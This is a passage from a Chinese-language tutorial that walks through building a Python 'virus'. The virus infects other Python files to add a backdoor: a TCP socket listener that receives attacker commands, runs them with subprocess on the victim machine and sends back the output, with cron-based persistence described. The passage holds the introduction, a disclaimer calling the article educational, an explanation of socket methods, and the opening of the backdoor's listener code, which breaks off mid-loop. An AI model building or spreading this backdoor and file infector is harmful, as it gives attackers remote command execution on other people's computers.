今天的文章来展示一个 Python “病毒”,它感染其他 Python 文件来创建一个后门。后门利用 Python 的内置 socket 模块来创建一个监听器,用来连接到 Python 的内置子进程模块,从而靶机上执行命令,同时还通过创建一个 cronjob 来建立持久性,以在每天固定的时间运行后门。最终完整的 Python 脚本包含在本文末尾。
注意:请不要将本文中提供的 Python 脚本用于恶意目的。虽然它不先进,但经过一些修改,它可以让完全控制某人的计算机。本文的主要目的是通过这些脚本,更好地了解黑客如何获取正常程序并使它们成为恶意程序。
话不多说,让我们开始吧。
1. 建立通信
任何后门最重要的部分都是建立通信。现在,让我们为后门访问编写一段代码。通过 TCP 连接到靶机,我们使用套接字模块监听黑客的连接请求。在 socket 模块中,有一个函数也称为 socket,我们可以使用它来创建 TCP 或 UDP 套接字。使用 socket.socket 函数创建套接字时,我们需要提供两个参数来指定我们要使用的 IP 版本和第 4 层协议。在这个 Python 脚本中,我们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。
AF_INET : 指定 IPv4
SOCK_STREAM :指定 TCP 而不是 UDP。
socket.socket 函数返回一个对象,该对象由最终确定正在创建的套接字是侦听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建侦听套接字,需要使用以下方法:
- bind > 将 IP 地址和端口绑定到网络接口
- listen > 指示我们的套接字开始监听传入的连接
- accept > 接受传入连接
- recv > 从连接的客户端接收数据
- send > 向连接的客户端发送数据
然而,最重要的方法是 recv 和 send。recv 方法会接收来自攻击者的命令,使用 subproces.run 函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的 TCP 连接。下面是 Python 代码:
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit
def serve():
with socket(AF_INET, SOCK_STREAM) as soc:
# [*] The obfuscated values are just the IP address and port to bind to
soc.bind((ip, 端口))
soc.listen(5)
while True:
conn, _ = soc.accept()
while True:
cmd = conn.recv(1024).decode("utf-8").strip()